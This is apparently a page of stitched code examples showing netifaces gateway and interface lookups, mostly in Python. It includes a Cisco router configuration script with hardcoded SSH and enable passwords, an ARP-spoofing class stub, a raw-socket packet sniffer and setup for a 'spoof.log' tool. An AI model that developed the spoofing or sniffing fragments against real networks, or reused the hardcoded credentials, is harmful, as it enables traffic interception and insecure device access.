            print(f"Conexion entre {routers[0]} y {routers[1]} con la ip {net}")
            routes_r1=[]
            routes_r2=[]
            ip_r1=list(red[routers[0]].values())
            for i in ip_r1:
                if "/" not in i:
                    routes_r1.append(i)
            ip_r1=list(red[routers[1]].values())
            for i in ip_r1:
                if "/" not in i:
                    routes_r2.append(i)
            cmd=["conf t","int loop0","ip add 200.0.0.1 255.255.255.255",
                "no sh","exit","router ospf 1","ver 2","router ospf 1",
                "redistribute static metric 200 subnets",
                "redistribute rip metric 200 subnets"]
            for i in routes_r1:
                cmd.append(f"net {i} 0.0.0.255 area 0")
            cmd.append("end")
            #print(f"{routers[0]} manda comandos hacia si mismo con configuracion= {cmd}")
            
            router= staticConfig(ip_r1)
            router.set_data(cmd)
            protocolsThreads.append(Thread(target=staticProcess,args=(router,)))
            protocolsThreads[-1].start()
            
            #output=conectar_bridge(cisco,cmd)
            # Sale la IP R[1]
            ip_r1=list(red[routers[1]].values())
            ip=ip_r1.index(net)-1
            ip_r1=ip_r1[ip].split("/")[0]
            #########################
            cmd=[f"ssh -l admin {ip_r1}","admin","ena","1234","conf t",
                "int loop0","ip add 200.0.0.2 255.255.255.255",
                "no sh","exit","router ospf 2","ver 2","router ospf 2",
                "redistribute static metric 200 subnets",
                "redistribute rip metric 200 subnets"]
            for i in routes_r2:
                cmd.append(f"net {i} 0.0.0.255 area 0")
            cmd.append("end")
            cmd.append("exit")
            #print(f"{routers[0]} manda comandos hacia {routers[1]} con configuracion= {cmd}")

            router= staticConfig(ip_r1)
            router.set_data(cmd)
            protocolsThreads.append(Thread(target=staticProcess,args=(router,)))
            protocolsThreads[-1].start()

            #output=conectar_bridge(cisco,cmd)
        
    for t in range(len(protocolsThreads)):
        protocolsThreads[t].join() 
    """
    print(
        "\nSe han levantado todos los protocolos para comunicarnos entre routers"
    )
    return new_json_routers
Beispiel #55
0
 def gateway_discovery(self):
     """Retrieving default gateway of pod, which is usually also a contact point with the host"""
     return [[gateways()["default"][AF_INET][0], "24"]]
Beispiel #56
0
import os
import subprocess
import sys
import netifaces
from optparse import OptionParser
from kamene.all import *
import signal
import sys
import threading
import time

LOCAL_IP = netifaces.ifaddresses('eth0')[netifaces.AF_INET][0]['addr']
GATEWAY_IP = netifaces.gateways()['default'][netifaces.AF_INET][0]
CONF_IFACE = 'eth0'


class ARPSpoofing():
    # def __init__(self):

    #     if os.geteuid() != 0:
    #         print ("[-] Run me as root")
    #         sys.exit(1)

    #     # ------------ Main ------------
    #     usage = 'Usage: %prog [-i interface] [-t target] host/s'
    #     parser = OptionParser(usage)
    #     parser.add_option('-i', dest='interface', help='Specify the interface to use')
    #     parser.add_option('-t', dest='target', help='Comma separated list to hosts to ARP poison')
    #     (self.options, self.args) = parser.parse_args()

    #Given an IP, get the MAC. Broadcast ARP Request for a IP Address. Should recieve
Beispiel #57
0
    def _prepare_socket(self, interface_name=None):
        netinf = zhelper.get_ifaddrs()
        logger.debug("Available interfaces: {0}".format(netinf))

        #get default gateway interface
        default_interface_names = []
        netifaces_default_interface_names = []
        gateways = netifaces.gateways()
        logger.debug("Gateways: {0}".format(gateways))
        if netifaces.AF_INET in gateways:
            for address, interface, is_default in gateways[netifaces.AF_INET]:
                #fix for windows (netifaces.gateway() returns adapter name instead of interface name)
                if platform.startswith("win"):
                    netifaces_default_interface_names.append(interface)
                    for iface in netinf:
                        for name, data in iface.items():
                            if netifaces.AF_INET in data and data[
                                    netifaces.AF_INET]['adapter'] == interface:
                                default_interface_names.append(name)
                else:
                    default_interface_names.append(interface)

            logger.debug('Default interface names "{0}"'.format(
                list(default_interface_names)))
            logger.debug('Netifaces default interface names "{0}"'.format(
                list(netifaces_default_interface_names)))

        for iface in netinf:
            # Loop over the interfaces and their settings to try to find the broadcast address.
            # ipv4 only currently and needs a valid broadcast address
            for name, data in iface.items():
                # Drop if not specified interface name
                if interface_name and interface_name != name:
                    continue

                #Interface of default route found, skip other ones
                #This trick allows to skip invalid interfaces like docker ones.
                if len(default_interface_names
                       ) > 0 and name not in default_interface_names:
                    logger.debug(
                        'Interface "{0}" is not interface of default route'.
                        format(name))
                    continue

                logger.debug('Checking out interface "{0}".'.format(name))

                #Get addr and netmask infos
                data_2 = data.get(netifaces.AF_INET)
                if not data_2:
                    logger.debug(
                        'No data_2 found for interface "{0}".'.format(name))
                    continue

                #get mac address infos
                data_17 = data.get(netifaces.AF_LINK)
                if not data_17 and platform.startswith("win"):
                    #last chance to get mac address on windows platform
                    for netifaces_default_interface_name in netifaces_default_interface_names:
                        ifaddresses = netifaces.ifaddresses(
                            netifaces_default_interface_name)
                        if netifaces.AF_LINK in ifaddresses and len(
                                ifaddresses[netifaces.AF_LINK]) > 0:
                            data_17 = ifaddresses[netifaces.AF_LINK][0]
                            break
                if not data_17:
                    logger.debug(
                        'No data_17 found for interface "{0}".'.format(name))
                    continue

                address_str = data_2.get("addr")
                netmask_str = data_2.get("netmask")
                mac_str = data_17.get("addr")

                if not address_str or not netmask_str:
                    logger.debug(
                        'Address or netmask not found for interface "{0}".'.
                        format(name))
                    continue

                if isinstance(address_str, bytes):
                    address_str = address_str.decode("utf8")

                if isinstance(netmask_str, bytes):
                    netmask_str = netmask_str.decode("utf8")

                if isinstance(mac_str, bytes):
                    mac_str = mac_str.decode("utf8")

                #keep only private interface
                ip_address = netaddr.IPAddress(address_str)
                if ip_address and not ip_address.is_private():
                    logger.debug(
                        'Interface "{0}" refers to public ip address, drop it.'
                        .format(name))
                    continue

                interface_string = "{0}/{1}".format(address_str, netmask_str)

                interface = ipaddress.ip_interface(u(interface_string))

                if interface.is_loopback:
                    logger.debug(
                        'Interface "{0}" is a loopback device.'.format(name))
                    continue

                if interface.is_link_local:
                    logger.debug(
                        'Interface "{0}" is a link-local device.'.format(name))
                    continue

                self.address = interface.ip
                self.mac = mac_str
                self.network_address = interface.network.network_address
                self.broadcast_address = interface.network.broadcast_address
                self.interface_name = name

                if self.address:
                    break

            if self.address:
                break

        logger.debug("Finished scanning interfaces.")

        if not self.address:
            self.network_address = ipaddress.IPv4Address(u('127.0.0.1'))
            self.broadcast_address = ipaddress.IPv4Address(u(MULTICAST_GRP))
            self.interface_name = 'loopback'
            self.address = u('127.0.0.1')
            self.mac = None

        logger.debug("Address: {0}".format(self.address))
        logger.debug("MAC: {0}".format(self.mac))
        logger.debug("Network: {0}".format(self.network_address))
        logger.debug("Broadcast: {0}".format(self.broadcast_address))
        logger.debug("Choosen interface name: {0}".format(self.interface_name))
import mysql.connector
import socket
import requests
import time
import subprocess
import os
from scapy.all import *

db = mysql.connector.connect(user='******',
                             password='******',
                             host='10.151.36.134',
                             database='ta_container')
cursor = db.cursor(buffered=True)
cursor2 = db.cursor(buffered=True)

gw_device = netifaces.gateways()['default'][netifaces.AF_INET][1]
array_ip_source = []
tmp_sourceIP = []
flag = 0
counter = 1

while True:
    print "Percobaan ke = " + str(counter)
    rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW,
                              socket.htons(0x0800))
    receivedPacket = rawSocket.recv(2048)

    #Ethernet Header...
    ethernetHeader = receivedPacket[0:14]
    ethrheader = struct.unpack("!6s6s2s", ethernetHeader)
    destinationIP = binascii.hexlify(ethrheader[0])
Beispiel #59
0
#setting log file name
filename = "spoof.log"

# Set logging structure
logging.basicConfig(format='%(levelname)s: %(asctime)s %(message)s',
                    datefmt='%m/%d/%Y %I:%M:%S %p',
                    filename=filename,
                    filemode="a",
                    level=logging.DEBUG)

# Read available network interfaces
available_interfaces = netifaces.interfaces()

# Check the connected interface
interface = netifaces.gateways()['default'][netifaces.AF_INET][1]

# Check if specified interface is valid
if not interface in available_interfaces:
    exit("Interface {} not available.".format(interface))
# Retrieve network addresses (IP, broadcast) from the network interfaces
addrs = netifaces.ifaddresses(interface)

#handling keyerror 2 which is cause due to netifaces
try:
    local_ip = addrs[netifaces.AF_INET][0]["addr"]
    broadcast = addrs[netifaces.AF_INET][0]["broadcast"]
except KeyError:
    exit("Cannot read address/broadcast address on interface {}".format(
        interface))
Beispiel #60
0
def hostip(req=None, black_list=None, pref_list=None, logger=None):
    """
    Look up the ip number for a given requested interface name.
    If interface is not given, do some magic.
    """

    # we only determine hostip once
    global _hostip
    if _hostip:
        return _hostip

    # List of interfaces that we probably dont want to bind to by default
    if not black_list:
        black_list = ['sit0', 'lo']

    # Known intefaces in preferred order
    if not pref_list:
        pref_list = [
            'ipogif0',  # Cray's
            'br0'  # SuperMIC
        ]

    gateways = netifaces.gateways()
    if  not 'default' in gateways or \
        not gateways['default']:
        return '127.0.0.1'

    # we always add the currently used interface to the preferred ones
    default = gateways['default'][netifaces.AF_INET][1]
    if default not in pref_list:
        pref_list.append(default)

    # Get a list of all network interfaces
    all = netifaces.interfaces()

    if logger:
        logger.debug("Network interfaces detected: %s", all)

    pref = None
    # If we got a request, see if it is in the list that we detected
    if req and req in all:
        # Requested is available, set it
        pref = req
    else:
        # No requested or request not found, create preference list
        potentials = [iface for iface in all if iface not in black_list]

    # If we didn't select an interface already
    if not pref:
        # Go through the sorted list and see if it is available
        for iface in pref_list:
            if iface in all:
                # Found something, get out of here
                pref = iface
                break

    # If we still didn't find something, grab the first one from the
    # potentials if it has entries
    if not pref and potentials:
        pref = potentials[0]

    # If there were no potentials, see if we can find one in the blacklist
    if not pref:
        for iface in black_list:
            if iface in all:
                pref = iface

    if logger:
        logger.debug("Network interfaces selected: %s", pref)

    # Use IPv4, because, we can ...
    af = netifaces.AF_INET
    ip = netifaces.ifaddresses(pref)[af][0]['addr']

    # we fall back to localhost
    if not ip:
        ip = '127.0.0.1'

    if logger:
        logger.debug("Network ip address detected: %s", ip)

    # cache for next invocation
    _hostip = ip
    return ip